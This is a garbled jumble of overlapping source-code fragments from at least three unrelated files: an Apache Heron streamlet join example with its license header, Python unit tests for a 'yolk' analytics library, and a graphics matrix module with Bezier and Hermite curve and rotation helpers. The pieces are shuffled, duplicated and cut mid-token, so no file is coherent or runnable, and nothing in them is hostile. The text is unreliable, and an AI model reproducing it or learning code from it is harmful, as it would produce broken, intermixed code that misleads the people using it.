Version 2.0 (the #", "name is not specified\") sys.exit(1) builder = Builder() source_1 =", "CONDITIONS OF ANY # KIND, either express or implied. See", "# with the License. You may obtain a copy of", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "__name__ == '__main__': if len(sys.argv) != 2: print(\"Topology's name is", "\"d\"]], sleep=1)) source_1.join(source_2, WindowConfig.create_sliding_window(2, 1), lambda x, y: x +", "heronpy.connectors.mock.arraylooper import ArrayLooper # pylint: disable=superfluous-parens if __name__ == '__main__':", "may not use this file except in compliance # with", "software distributed under the License is distributed on an #", "Licensed to the Apache Software Foundation (ASF) under one #", "for additional information # regarding copyright ownership. The ASF licenses", "len(sys.argv) != 2: print(\"Topology's name is not specified\") sys.exit(1) builder", "the Apache Software Foundation (ASF) under one # or more", "encoding: utf-8 -*- # Licensed to the Apache Software Foundation", "# # Unless required by applicable law or agreed to", "Version 2.0 (the # \"License\"); you may not use this", "!= 2: print(\"Topology's name is not specified\") sys.exit(1) builder =", "under one # or more contributor license agreements. See the", "one # or more contributor license agreements. See the NOTICE", "\"b\"]], sleep=1)) source_2 = builder.new_source(ArrayLooper([[\"key1\", \"c\"], [\"key1\", \"d\"]], sleep=1)) source_1.join(source_2,", "License, Version 2.0 (the # \"License\"); you may not use", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "either express or implied. See the License for the #", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "License. '''join_streamlet_topology.py: module is an example of how to use", "KIND, either express or implied. See the License for the", "information # regarding copyright ownership. The ASF licenses this file", "the Apache License, Version 2.0 (the # \"License\"); you may", "Builder() source_1 = builder.new_source(ArrayLooper([[\"key1\", \"a\"], [\"key1\", \"b\"]], sleep=1)) source_2 =", "import WindowConfig from heronpy.connectors.mock.arraylooper import ArrayLooper # pylint: disable=superfluous-parens if", "except in compliance # with the License. You may obtain", "additional information # regarding copyright ownership. The ASF licenses this", "the License. '''join_streamlet_topology.py: module is an example of how to", "WindowConfig.create_sliding_window(2, 1), lambda x, y: x + y).log() runner =", "operator''' import sys from heronpy.streamlet.builder import Builder from heronpy.streamlet.runner import", "you under the Apache License, Version 2.0 (the # \"License\");", "Builder from heronpy.streamlet.runner import Runner from heronpy.streamlet.config import Config from", "or implied. See the License for the # specific language", "# under the License. '''join_streamlet_topology.py: module is an example of", "See the NOTICE file # distributed with this work for", "# KIND, either express or implied. See the License for", "express or implied. See the License for the # specific", "WindowConfig from heronpy.connectors.mock.arraylooper import ArrayLooper # pylint: disable=superfluous-parens if __name__", "[\"key1\", \"d\"]], sleep=1)) source_1.join(source_2, WindowConfig.create_sliding_window(2, 1), lambda x, y: x", "NOTICE file # distributed with this work for additional information", "== '__main__': if len(sys.argv) != 2: print(\"Topology's name is not", "if len(sys.argv) != 2: print(\"Topology's name is not specified\") sys.exit(1)", "this file except in compliance # with the License. You", "agreements. See the NOTICE file # distributed with this work", "heronpy.streamlet.builder import Builder from heronpy.streamlet.runner import Runner from heronpy.streamlet.config import", "+ y).log() runner = Runner() config = Config() runner.run(sys.argv[1], config,", "Apache License, Version 2.0 (the # \"License\"); you may not", "the # specific language governing permissions and limitations # under", "licenses this file # to you under the Apache License,", "of how to use the join operator''' import sys from", "-*- # Licensed to the Apache Software Foundation (ASF) under", "license agreements. See the NOTICE file # distributed with this", "builder.new_source(ArrayLooper([[\"key1\", \"c\"], [\"key1\", \"d\"]], sleep=1)) source_1.join(source_2, WindowConfig.create_sliding_window(2, 1), lambda x,", "required by applicable law or agreed to in writing, #", "by applicable law or agreed to in writing, # software", "may obtain a copy of the License at # #", "# Unless required by applicable law or agreed to in", "import Config from heronpy.streamlet.windowconfig import WindowConfig from heronpy.connectors.mock.arraylooper import ArrayLooper", "= builder.new_source(ArrayLooper([[\"key1\", \"c\"], [\"key1\", \"d\"]], sleep=1)) source_1.join(source_2, WindowConfig.create_sliding_window(2, 1), lambda", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "The ASF licenses this file # to you under the", "x, y: x + y).log() runner = Runner() config =", "file except in compliance # with the License. You may", "IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND,", "# specific language governing permissions and limitations # under the", "the License for the # specific language governing permissions and", "import Runner from heronpy.streamlet.config import Config from heronpy.streamlet.windowconfig import WindowConfig", "builder.new_source(ArrayLooper([[\"key1\", \"a\"], [\"key1\", \"b\"]], sleep=1)) source_2 = builder.new_source(ArrayLooper([[\"key1\", \"c\"], [\"key1\",", "License. You may obtain a copy of the License at", "You may obtain a copy of the License at #", "ANY # KIND, either express or implied. See the License", "# Licensed to the Apache Software Foundation (ASF) under one", "source_1 = builder.new_source(ArrayLooper([[\"key1\", \"a\"], [\"key1\", \"b\"]], sleep=1)) source_2 = builder.new_source(ArrayLooper([[\"key1\",", "the License is distributed on an # \"AS IS\" BASIS,", "you may not use this file except in compliance #", "to use the join operator''' import sys from heronpy.streamlet.builder import", "use this file except in compliance # with the License.", "compliance # with the License. You may obtain a copy", "heronpy.streamlet.windowconfig import WindowConfig from heronpy.connectors.mock.arraylooper import ArrayLooper # pylint: disable=superfluous-parens", "is an example of how to use the join operator'''", "module is an example of how to use the join", "\"c\"], [\"key1\", \"d\"]], sleep=1)) source_1.join(source_2, WindowConfig.create_sliding_window(2, 1), lambda x, y:", "law or agreed to in writing, # software distributed under", "permissions and limitations # under the License. '''join_streamlet_topology.py: module is", "contributor license agreements. See the NOTICE file # distributed with", "and limitations # under the License. '''join_streamlet_topology.py: module is an", "Foundation (ASF) under one # or more contributor license agreements.", "2: print(\"Topology's name is not specified\") sys.exit(1) builder = Builder()", "from heronpy.streamlet.runner import Runner from heronpy.streamlet.config import Config from heronpy.streamlet.windowconfig", "not use this file except in compliance # with the", "from heronpy.streamlet.windowconfig import WindowConfig from heronpy.connectors.mock.arraylooper import ArrayLooper # pylint:" ]
[ "Exception('This should show up'), 'timedelta': timedelta(microseconds=20), 'list': [1, 2, 3]", "= combined.keys() utils.clean(combined) self.assertEqual(combined.keys(), pre_clean_keys) def test_clean_with_dates(self): dict_with_dates = {", "= dict(simple.items()) combined.update(complicated.items()) pre_clean_keys = combined.keys() utils.clean(combined) self.assertEqual(combined.keys(), pre_clean_keys) def", "import Decimal import unittest from dateutil.tz import tzutc import six", "six from yolk import utils class TestUtils(unittest.TestCase): def test_timezone_utils(self): now", "1, 'float': 2.0, 'bool': True, 'str': 'woo', 'none': None }", "shouldnt_be_edited = utils.guess_timezone(utcnow) self.assertEqual(utcnow, shouldnt_be_edited) def test_clean(self): simple = {", "None } complicated = { 'exception': Exception('This should show up'),", "@classmethod def test_bytes(cls): if six.PY3: item = bytes(10) else: item", "1), 'registration': datetime.utcnow(), } self.assertEqual(dict_with_dates, utils.clean(dict_with_dates)) @classmethod def test_bytes(cls): if", "test_bytes(cls): if six.PY3: item = bytes(10) else: item = bytearray(10)", "= utils.guess_timezone(now) self.assertFalse(utils.is_naive(fixed)) shouldnt_be_edited = utils.guess_timezone(utcnow) self.assertEqual(utcnow, shouldnt_be_edited) def test_clean(self):", "{ 'decimal': Decimal('0.142857'), 'unicode': six.u('woo'), 'date': datetime.now(), 'long': 200000000, 'integer':", "date(1980, 1, 1), 'registration': datetime.utcnow(), } self.assertEqual(dict_with_dates, utils.clean(dict_with_dates)) @classmethod def", "= utils.guess_timezone(utcnow) self.assertEqual(utcnow, shouldnt_be_edited) def test_clean(self): simple = { 'decimal':", "def test_bytes(cls): if six.PY3: item = bytes(10) else: item =", "= bytearray(10) utils.clean(item) def test_clean_fn(self): cleaned = utils.clean({'fn': lambda x:", "utils.clean(item) def test_clean_fn(self): cleaned = utils.clean({'fn': lambda x: x, 'number':", "} complicated = { 'exception': Exception('This should show up'), 'timedelta':", "utils class TestUtils(unittest.TestCase): def test_timezone_utils(self): now = datetime.now() utcnow =", "= { 'decimal': Decimal('0.142857'), 'unicode': six.u('woo'), 'date': datetime.now(), 'long': 200000000,", "'woo', 'none': None } complicated = { 'exception': Exception('This should", "x: x, 'number': 4}) self.assertEqual(cleaned['number'], 4) if 'fn' in cleaned:", "pre_clean_keys) def test_clean_with_dates(self): dict_with_dates = { 'birthdate': date(1980, 1, 1),", "datetime.now(), 'long': 200000000, 'integer': 1, 'float': 2.0, 'bool': True, 'str':", "'date': datetime.now(), 'long': 200000000, 'integer': 1, 'float': 2.0, 'bool': True,", "'long': 200000000, 'integer': 1, 'float': 2.0, 'bool': True, 'str': 'woo',", "def test_clean(self): simple = { 'decimal': Decimal('0.142857'), 'unicode': six.u('woo'), 'date':", "'list': [1, 2, 3] } combined = dict(simple.items()) combined.update(complicated.items()) pre_clean_keys", "dict(simple.items()) combined.update(complicated.items()) pre_clean_keys = combined.keys() utils.clean(combined) self.assertEqual(combined.keys(), pre_clean_keys) def test_clean_with_dates(self):", "dateutil.tz import tzutc import six from yolk import utils class", "utils.clean(dict_with_dates)) @classmethod def test_bytes(cls): if six.PY3: item = bytes(10) else:", "date, datetime, timedelta from decimal import Decimal import unittest from", "1, 1), 'registration': datetime.utcnow(), } self.assertEqual(dict_with_dates, utils.clean(dict_with_dates)) @classmethod def test_bytes(cls):", "'float': 2.0, 'bool': True, 'str': 'woo', 'none': None } complicated", "timedelta from decimal import Decimal import unittest from dateutil.tz import", "= { 'exception': Exception('This should show up'), 'timedelta': timedelta(microseconds=20), 'list':", "= bytes(10) else: item = bytearray(10) utils.clean(item) def test_clean_fn(self): cleaned", "complicated = { 'exception': Exception('This should show up'), 'timedelta': timedelta(microseconds=20),", "utils.clean({'fn': lambda x: x, 'number': 4}) self.assertEqual(cleaned['number'], 4) if 'fn'", "cleaned = utils.clean({'fn': lambda x: x, 'number': 4}) self.assertEqual(cleaned['number'], 4)", "utils.guess_timezone(now) self.assertFalse(utils.is_naive(fixed)) shouldnt_be_edited = utils.guess_timezone(utcnow) self.assertEqual(utcnow, shouldnt_be_edited) def test_clean(self): simple", "import date, datetime, timedelta from decimal import Decimal import unittest", "datetime, timedelta from decimal import Decimal import unittest from dateutil.tz", "self.assertEqual(combined.keys(), pre_clean_keys) def test_clean_with_dates(self): dict_with_dates = { 'birthdate': date(1980, 1,", "'exception': Exception('This should show up'), 'timedelta': timedelta(microseconds=20), 'list': [1, 2,", "self.assertTrue(utils.is_naive(now)) self.assertFalse(utils.is_naive(utcnow)) fixed = utils.guess_timezone(now) self.assertFalse(utils.is_naive(fixed)) shouldnt_be_edited = utils.guess_timezone(utcnow) self.assertEqual(utcnow,", "import utils class TestUtils(unittest.TestCase): def test_timezone_utils(self): now = datetime.now() utcnow", "tzutc import six from yolk import utils class TestUtils(unittest.TestCase): def", "{ 'birthdate': date(1980, 1, 1), 'registration': datetime.utcnow(), } self.assertEqual(dict_with_dates, utils.clean(dict_with_dates))", "else: item = bytearray(10) utils.clean(item) def test_clean_fn(self): cleaned = utils.clean({'fn':", "import six from yolk import utils class TestUtils(unittest.TestCase): def test_timezone_utils(self):", "= datetime.now(tz=tzutc()) self.assertTrue(utils.is_naive(now)) self.assertFalse(utils.is_naive(utcnow)) fixed = utils.guess_timezone(now) self.assertFalse(utils.is_naive(fixed)) shouldnt_be_edited =", "fixed = utils.guess_timezone(now) self.assertFalse(utils.is_naive(fixed)) shouldnt_be_edited = utils.guess_timezone(utcnow) self.assertEqual(utcnow, shouldnt_be_edited) def", "4) if 'fn' in cleaned: self.assertEqual(cleaned['fn'], None) def test_remove_slash(self): self.assertEqual('http://segment.io',", "[1, 2, 3] } combined = dict(simple.items()) combined.update(complicated.items()) pre_clean_keys =", "bytes(10) else: item = bytearray(10) utils.clean(item) def test_clean_fn(self): cleaned =", "test_clean_with_dates(self): dict_with_dates = { 'birthdate': date(1980, 1, 1), 'registration': datetime.utcnow(),", "def test_timezone_utils(self): now = datetime.now() utcnow = datetime.now(tz=tzutc()) self.assertTrue(utils.is_naive(now)) self.assertFalse(utils.is_naive(utcnow))", "show up'), 'timedelta': timedelta(microseconds=20), 'list': [1, 2, 3] } combined", "from yolk import utils class TestUtils(unittest.TestCase): def test_timezone_utils(self): now =", "if 'fn' in cleaned: self.assertEqual(cleaned['fn'], None) def test_remove_slash(self): self.assertEqual('http://segment.io', utils.remove_trailing_slash('http://segment.io/'))", "2.0, 'bool': True, 'str': 'woo', 'none': None } complicated =", "<reponame>yolkdata/yolk-python from datetime import date, datetime, timedelta from decimal import", "x, 'number': 4}) self.assertEqual(cleaned['number'], 4) if 'fn' in cleaned: self.assertEqual(cleaned['fn'],", "from dateutil.tz import tzutc import six from yolk import utils", "3] } combined = dict(simple.items()) combined.update(complicated.items()) pre_clean_keys = combined.keys() utils.clean(combined)", "'number': 4}) self.assertEqual(cleaned['number'], 4) if 'fn' in cleaned: self.assertEqual(cleaned['fn'], None)", "timedelta(microseconds=20), 'list': [1, 2, 3] } combined = dict(simple.items()) combined.update(complicated.items())", "self.assertEqual(utcnow, shouldnt_be_edited) def test_clean(self): simple = { 'decimal': Decimal('0.142857'), 'unicode':", "shouldnt_be_edited) def test_clean(self): simple = { 'decimal': Decimal('0.142857'), 'unicode': six.u('woo'),", "self.assertEqual(cleaned['number'], 4) if 'fn' in cleaned: self.assertEqual(cleaned['fn'], None) def test_remove_slash(self):", "test_timezone_utils(self): now = datetime.now() utcnow = datetime.now(tz=tzutc()) self.assertTrue(utils.is_naive(now)) self.assertFalse(utils.is_naive(utcnow)) fixed", "TestUtils(unittest.TestCase): def test_timezone_utils(self): now = datetime.now() utcnow = datetime.now(tz=tzutc()) self.assertTrue(utils.is_naive(now))", "combined = dict(simple.items()) combined.update(complicated.items()) pre_clean_keys = combined.keys() utils.clean(combined) self.assertEqual(combined.keys(), pre_clean_keys)", "datetime.now(tz=tzutc()) self.assertTrue(utils.is_naive(now)) self.assertFalse(utils.is_naive(utcnow)) fixed = utils.guess_timezone(now) self.assertFalse(utils.is_naive(fixed)) shouldnt_be_edited = utils.guess_timezone(utcnow)", "def test_clean_with_dates(self): dict_with_dates = { 'birthdate': date(1980, 1, 1), 'registration':", "pre_clean_keys = combined.keys() utils.clean(combined) self.assertEqual(combined.keys(), pre_clean_keys) def test_clean_with_dates(self): dict_with_dates =", "'timedelta': timedelta(microseconds=20), 'list': [1, 2, 3] } combined = dict(simple.items())", "Decimal import unittest from dateutil.tz import tzutc import six from", "'bool': True, 'str': 'woo', 'none': None } complicated = {", "dict_with_dates = { 'birthdate': date(1980, 1, 1), 'registration': datetime.utcnow(), }", "if six.PY3: item = bytes(10) else: item = bytearray(10) utils.clean(item)", "in cleaned: self.assertEqual(cleaned['fn'], None) def test_remove_slash(self): self.assertEqual('http://segment.io', utils.remove_trailing_slash('http://segment.io/')) self.assertEqual('http://segment.io', utils.remove_trailing_slash('http://segment.io'))", "= { 'birthdate': date(1980, 1, 1), 'registration': datetime.utcnow(), } self.assertEqual(dict_with_dates,", "'registration': datetime.utcnow(), } self.assertEqual(dict_with_dates, utils.clean(dict_with_dates)) @classmethod def test_bytes(cls): if six.PY3:", "from datetime import date, datetime, timedelta from decimal import Decimal", "self.assertEqual(dict_with_dates, utils.clean(dict_with_dates)) @classmethod def test_bytes(cls): if six.PY3: item = bytes(10)", "utils.guess_timezone(utcnow) self.assertEqual(utcnow, shouldnt_be_edited) def test_clean(self): simple = { 'decimal': Decimal('0.142857'),", "} combined = dict(simple.items()) combined.update(complicated.items()) pre_clean_keys = combined.keys() utils.clean(combined) self.assertEqual(combined.keys(),", "six.u('woo'), 'date': datetime.now(), 'long': 200000000, 'integer': 1, 'float': 2.0, 'bool':", "self.assertFalse(utils.is_naive(fixed)) shouldnt_be_edited = utils.guess_timezone(utcnow) self.assertEqual(utcnow, shouldnt_be_edited) def test_clean(self): simple =", "datetime.now() utcnow = datetime.now(tz=tzutc()) self.assertTrue(utils.is_naive(now)) self.assertFalse(utils.is_naive(utcnow)) fixed = utils.guess_timezone(now) self.assertFalse(utils.is_naive(fixed))", "True, 'str': 'woo', 'none': None } complicated = { 'exception':", "unittest from dateutil.tz import tzutc import six from yolk import", "'none': None } complicated = { 'exception': Exception('This should show", "decimal import Decimal import unittest from dateutil.tz import tzutc import", "combined.keys() utils.clean(combined) self.assertEqual(combined.keys(), pre_clean_keys) def test_clean_with_dates(self): dict_with_dates = { 'birthdate':", "six.PY3: item = bytes(10) else: item = bytearray(10) utils.clean(item) def", "import tzutc import six from yolk import utils class TestUtils(unittest.TestCase):", "'birthdate': date(1980, 1, 1), 'registration': datetime.utcnow(), } self.assertEqual(dict_with_dates, utils.clean(dict_with_dates)) @classmethod", "item = bytearray(10) utils.clean(item) def test_clean_fn(self): cleaned = utils.clean({'fn': lambda", "'fn' in cleaned: self.assertEqual(cleaned['fn'], None) def test_remove_slash(self): self.assertEqual('http://segment.io', utils.remove_trailing_slash('http://segment.io/')) self.assertEqual('http://segment.io',", "import unittest from dateutil.tz import tzutc import six from yolk", "utils.clean(combined) self.assertEqual(combined.keys(), pre_clean_keys) def test_clean_with_dates(self): dict_with_dates = { 'birthdate': date(1980,", "utcnow = datetime.now(tz=tzutc()) self.assertTrue(utils.is_naive(now)) self.assertFalse(utils.is_naive(utcnow)) fixed = utils.guess_timezone(now) self.assertFalse(utils.is_naive(fixed)) shouldnt_be_edited", "def test_clean_fn(self): cleaned = utils.clean({'fn': lambda x: x, 'number': 4})", "simple = { 'decimal': Decimal('0.142857'), 'unicode': six.u('woo'), 'date': datetime.now(), 'long':", "lambda x: x, 'number': 4}) self.assertEqual(cleaned['number'], 4) if 'fn' in", "should show up'), 'timedelta': timedelta(microseconds=20), 'list': [1, 2, 3] }", "combined.update(complicated.items()) pre_clean_keys = combined.keys() utils.clean(combined) self.assertEqual(combined.keys(), pre_clean_keys) def test_clean_with_dates(self): dict_with_dates", "yolk import utils class TestUtils(unittest.TestCase): def test_timezone_utils(self): now = datetime.now()", "class TestUtils(unittest.TestCase): def test_timezone_utils(self): now = datetime.now() utcnow = datetime.now(tz=tzutc())", "= datetime.now() utcnow = datetime.now(tz=tzutc()) self.assertTrue(utils.is_naive(now)) self.assertFalse(utils.is_naive(utcnow)) fixed = utils.guess_timezone(now)", "up'), 'timedelta': timedelta(microseconds=20), 'list': [1, 2, 3] } combined =", "bytearray(10) utils.clean(item) def test_clean_fn(self): cleaned = utils.clean({'fn': lambda x: x,", "test_clean(self): simple = { 'decimal': Decimal('0.142857'), 'unicode': six.u('woo'), 'date': datetime.now(),", "'unicode': six.u('woo'), 'date': datetime.now(), 'long': 200000000, 'integer': 1, 'float': 2.0,", "item = bytes(10) else: item = bytearray(10) utils.clean(item) def test_clean_fn(self):", "Decimal('0.142857'), 'unicode': six.u('woo'), 'date': datetime.now(), 'long': 200000000, 'integer': 1, 'float':", "'str': 'woo', 'none': None } complicated = { 'exception': Exception('This", "{ 'exception': Exception('This should show up'), 'timedelta': timedelta(microseconds=20), 'list': [1,", "2, 3] } combined = dict(simple.items()) combined.update(complicated.items()) pre_clean_keys = combined.keys()", "self.assertFalse(utils.is_naive(utcnow)) fixed = utils.guess_timezone(now) self.assertFalse(utils.is_naive(fixed)) shouldnt_be_edited = utils.guess_timezone(utcnow) self.assertEqual(utcnow, shouldnt_be_edited)", "datetime.utcnow(), } self.assertEqual(dict_with_dates, utils.clean(dict_with_dates)) @classmethod def test_bytes(cls): if six.PY3: item", "'integer': 1, 'float': 2.0, 'bool': True, 'str': 'woo', 'none': None", "200000000, 'integer': 1, 'float': 2.0, 'bool': True, 'str': 'woo', 'none':", "4}) self.assertEqual(cleaned['number'], 4) if 'fn' in cleaned: self.assertEqual(cleaned['fn'], None) def", "test_clean_fn(self): cleaned = utils.clean({'fn': lambda x: x, 'number': 4}) self.assertEqual(cleaned['number'],", "= utils.clean({'fn': lambda x: x, 'number': 4}) self.assertEqual(cleaned['number'], 4) if", "from decimal import Decimal import unittest from dateutil.tz import tzutc", "datetime import date, datetime, timedelta from decimal import Decimal import", "now = datetime.now() utcnow = datetime.now(tz=tzutc()) self.assertTrue(utils.is_naive(now)) self.assertFalse(utils.is_naive(utcnow)) fixed =", "} self.assertEqual(dict_with_dates, utils.clean(dict_with_dates)) @classmethod def test_bytes(cls): if six.PY3: item =", "'decimal': Decimal('0.142857'), 'unicode': six.u('woo'), 'date': datetime.now(), 'long': 200000000, 'integer': 1," ]
[ "row[:] for r in range(4): m2[point][r] = (m1[0][r] * tmp[0]", "return [ [-1, 3, -3, 1], [3, -6, 3, 0],", "m1 by m2, modifying m2 to be the product #m1", "4): m = [] for c in range(cols): m.append([]) for", "s = '' for r in range(len(matrix[0])): for c in", "0 #multiply m1 by m2, modifying m2 to be the", "t[1][1] = y t[2][2] = z return t def make_rotX(theta):", "x0 x1 xn y0 y1 yn z0 z1 ... zn", "that it looks like #the template in the top comment", "x t[1][1] = y t[2][2] = z return t def", "like so: x0 x1 xn y0 y1 yn z0 z1", "in range(len(matrix[0])): for c in range(len(matrix)): s+= str(matrix[c][r]) + '", "range(len(matrix)): s+= str(matrix[c][r]) + ' ' s += '\\n' print", "0] ] def generate_curve_coefs(p0, p1, p2, p3, t): coefs =", "= math.cos(theta) return t def make_rotY(theta): t = new_matrix() ident(t)", "1] point. For multiplication purposes, consider the lists like so:", "[2, -3, 0, 1], [-2, 3, 0, 0], [1, -2,", "For multiplication purposes, consider the lists like so: x0 x1", "m2 def matrix_mult(m1, m2): point = 0 for row in", "= new_matrix() ident(t) t[1][1] = math.cos(theta) t[2][1] = -math.sin(theta) t[1][2]", "of 4 element lists. Each individual list will represent an", "-2, 1, 0], [1, -1, 0, 0] ] def generate_curve_coefs(p0,", "' s += '\\n' print (s) #turn the paramter matrix", "new_matrix() ident(t) t[1][1] = math.cos(theta) t[2][1] = -math.sin(theta) t[1][2] =", "t[1][0] = -math.sin(theta) t[0][1] = math.sin(theta) t[1][1] = math.cos(theta) return", "= math.sin(theta) t[1][1] = math.cos(theta) return t #print the matrix", "make_rotX(theta): t = new_matrix() ident(t) t[1][1] = math.cos(theta) t[2][1] =", "ident(t) t[0][0] = x t[1][1] = y t[2][2] = z", "1, 0], [1, -1, 0, 0] ] def generate_curve_coefs(p0, p1,", "#multiply m1 by m2, modifying m2 to be the product", "range(len(matrix)): if r == c: matrix[c][r] = 1 else: matrix[c][r]", "] def generate_curve_coefs(p0, p1, p2, p3, t): coefs = [[p0,", "y, z, 1] point. For multiplication purposes, consider the lists", "c in range(len(matrix)): if r == c: matrix[c][r] = 1", "represent an [x, y, z, 1] point. For multiplication purposes,", "-math.sin(theta) t[1][2] = math.sin(theta) t[2][2] = math.cos(theta) return t def", "= -math.sin(theta) t[1][2] = math.sin(theta) t[2][2] = math.cos(theta) return t", "return t def make_rotX(theta): t = new_matrix() ident(t) t[1][1] =", "the matrix such that it looks like #the template in", "def make_translate(x, y, z): t = new_matrix() ident(t) t[3][0] =", "[1, 0, 0, 0] ] def make_hermite(): return [ [2,", "t def make_rotX(theta): t = new_matrix() ident(t) t[1][1] = math.cos(theta)", "square def ident(matrix): for r in range(len(matrix[0])): for c in", "-math.sin(theta) t[2][0] = math.sin(theta) t[2][2] = math.cos(theta) return t def", "into an identity matrix #you may assume matrix is square", "in m2: #get a copy of the next point tmp", "c in range(len(matrix)): s+= str(matrix[c][r]) + ' ' s +=", "[1, -2, 1, 0], [1, -1, 0, 0] ] def", "for r in range(len(matrix[0])): for c in range(len(matrix)): if r", "+ m1[3][r] * tmp[3]) point += 1 def new_matrix(rows =", "= z return t def make_scale(x, y, z): t =", "make_bezier() matrix_mult(curve, coefs) return coefs def make_translate(x, y, z): t", "matrix[c][r] = 1 else: matrix[c][r] = 0 #multiply m1 by", "... zn 1 1 1 \"\"\" import math def make_bezier():", "0], [1, 0, 0, 0] ] def make_hermite(): return [", "0 for row in m2: #get a copy of the", "y t[2][2] = z return t def make_rotX(theta): t =", "= math.cos(theta) t[2][1] = -math.sin(theta) t[1][2] = math.sin(theta) t[2][2] =", "range(len(matrix[0])): for c in range(len(matrix)): if r == c: matrix[c][r]", "= make_bezier() matrix_mult(curve, coefs) return coefs def make_translate(x, y, z):", "[-3, 3, 0, 0], [1, 0, 0, 0] ] def", "matrix_mult(m1, m2): point = 0 for row in m2: #get", "\"\"\" import math def make_bezier(): return [ [-1, 3, -3,", "m2: #get a copy of the next point tmp =", "0], [-3, 3, 0, 0], [1, 0, 0, 0] ]", "= make_hermite() else: curve = make_bezier() matrix_mult(curve, coefs) return coefs", "3, 0, 0], [1, -2, 1, 0], [1, -1, 0,", "def make_rotZ(theta): t = new_matrix() ident(t) t[0][0] = math.cos(theta) t[1][0]", "will be an N sized list of 4 element lists.", "in the top comment def print_matrix(matrix): s = '' for", "point. For multiplication purposes, consider the lists like so: x0", "[-1, 3, -3, 1], [3, -6, 3, 0], [-3, 3,", "] def make_hermite(): return [ [2, -3, 0, 1], [-2,", "for r in range(4): m2[point][r] = (m1[0][r] * tmp[0] +", "multiplication purposes, consider the lists like so: x0 x1 xn", "t def make_scale(x, y, z): t = new_matrix() ident(t) t[0][0]", "#the template in the top comment def print_matrix(matrix): s =", "t[2][2] = z return t def make_rotX(theta): t = new_matrix()", "if r == c: matrix[c][r] = 1 else: matrix[c][r] =", "-> m2 def matrix_mult(m1, m2): point = 0 for row", "p3]] if t == 'hermite': curve = make_hermite() else: curve", "x1 xn y0 y1 yn z0 z1 ... zn 1", "list of 4 element lists. Each individual list will represent", "= '' for r in range(len(matrix[0])): for c in range(len(matrix)):", "t def make_rotZ(theta): t = new_matrix() ident(t) t[0][0] = math.cos(theta)", "[x, y, z, 1] point. For multiplication purposes, consider the", "next point tmp = row[:] for r in range(4): m2[point][r]", "for r in range(len(matrix[0])): for c in range(len(matrix)): s+= str(matrix[c][r])", "matrix[c][r] = 0 #multiply m1 by m2, modifying m2 to", "return coefs def make_translate(x, y, z): t = new_matrix() ident(t)", "c: matrix[c][r] = 1 else: matrix[c][r] = 0 #multiply m1", "ident(t) t[0][0] = math.cos(theta) t[0][2] = -math.sin(theta) t[2][0] = math.sin(theta)", "for row in m2: #get a copy of the next", "[ [-1, 3, -3, 1], [3, -6, 3, 0], [-3,", "matrix into an identity matrix #you may assume matrix is", "math.cos(theta) t[1][0] = -math.sin(theta) t[0][1] = math.sin(theta) t[1][1] = math.cos(theta)", "element lists. Each individual list will represent an [x, y,", "t[1][1] = math.cos(theta) return t #print the matrix such that", "generate_curve_coefs(p0, p1, p2, p3, t): coefs = [[p0, p1, p2,", "the next point tmp = row[:] for r in range(4):", "0], [1, -2, 1, 0], [1, -1, 0, 0] ]", "0, 0], [1, -2, 1, 0], [1, -1, 0, 0]", "math.cos(theta) t[0][2] = -math.sin(theta) t[2][0] = math.sin(theta) t[2][2] = math.cos(theta)", "def matrix_mult(m1, m2): point = 0 for row in m2:", "= z return t def make_rotX(theta): t = new_matrix() ident(t)", "def make_rotX(theta): t = new_matrix() ident(t) t[1][1] = math.cos(theta) t[2][1]", "t[2][2] = math.cos(theta) return t def make_rotY(theta): t = new_matrix()", "0] ] def make_hermite(): return [ [2, -3, 0, 1],", "else: curve = make_bezier() matrix_mult(curve, coefs) return coefs def make_translate(x,", "be an N sized list of 4 element lists. Each", "m2, modifying m2 to be the product #m1 * m2", "of the next point tmp = row[:] for r in", "r in range(4): m2[point][r] = (m1[0][r] * tmp[0] + m1[1][r]", "r in range(len(matrix[0])): for c in range(len(matrix)): if r ==", "-6, 3, 0], [-3, 3, 0, 0], [1, 0, 0,", "== 'hermite': curve = make_hermite() else: curve = make_bezier() matrix_mult(curve,", "1 def new_matrix(rows = 4, cols = 4): m =", "point = 0 for row in m2: #get a copy", "= new_matrix() ident(t) t[0][0] = x t[1][1] = y t[2][2]", "top comment def print_matrix(matrix): s = '' for r in", "math.cos(theta) t[2][1] = -math.sin(theta) t[1][2] = math.sin(theta) t[2][2] = math.cos(theta)", "0, 0, 0] ] def make_hermite(): return [ [2, -3,", "p1, p2, p3, t): coefs = [[p0, p1, p2, p3]]", "such that it looks like #the template in the top", "* tmp[3]) point += 1 def new_matrix(rows = 4, cols", "1 \"\"\" import math def make_bezier(): return [ [-1, 3,", "0, 1], [-2, 3, 0, 0], [1, -2, 1, 0],", "new_matrix() ident(t) t[3][0] = x t[3][1] = y t[3][2] =", "def make_bezier(): return [ [-1, 3, -3, 1], [3, -6,", "math.sin(theta) t[2][2] = math.cos(theta) return t def make_rotZ(theta): t =", "return t #print the matrix such that it looks like", "matrix such that it looks like #the template in the", "an [x, y, z, 1] point. For multiplication purposes, consider", "math.sin(theta) t[2][2] = math.cos(theta) return t def make_rotY(theta): t =", "-3, 0, 1], [-2, 3, 0, 0], [1, -2, 1,", "t[0][2] = -math.sin(theta) t[2][0] = math.sin(theta) t[2][2] = math.cos(theta) return", "like #the template in the top comment def print_matrix(matrix): s", "= row[:] for r in range(4): m2[point][r] = (m1[0][r] *", "list will represent an [x, y, z, 1] point. For", "+= '\\n' print (s) #turn the paramter matrix into an", "1], [3, -6, 3, 0], [-3, 3, 0, 0], [1,", "(s) #turn the paramter matrix into an identity matrix #you", "matrix #you may assume matrix is square def ident(matrix): for", "\"\"\" A matrix will be an N sized list of", "(m1[0][r] * tmp[0] + m1[1][r] * tmp[1] + m1[2][r] *", "= x t[1][1] = y t[2][2] = z return t", "Each individual list will represent an [x, y, z, 1]", "copy of the next point tmp = row[:] for r", "make_rotZ(theta): t = new_matrix() ident(t) t[0][0] = math.cos(theta) t[1][0] =", "= -math.sin(theta) t[0][1] = math.sin(theta) t[1][1] = math.cos(theta) return t", "[[p0, p1, p2, p3]] if t == 'hermite': curve =", "= math.sin(theta) t[2][2] = math.cos(theta) return t def make_rotY(theta): t", "= new_matrix() ident(t) t[3][0] = x t[3][1] = y t[3][2]", "t[1][1] = math.cos(theta) t[2][1] = -math.sin(theta) 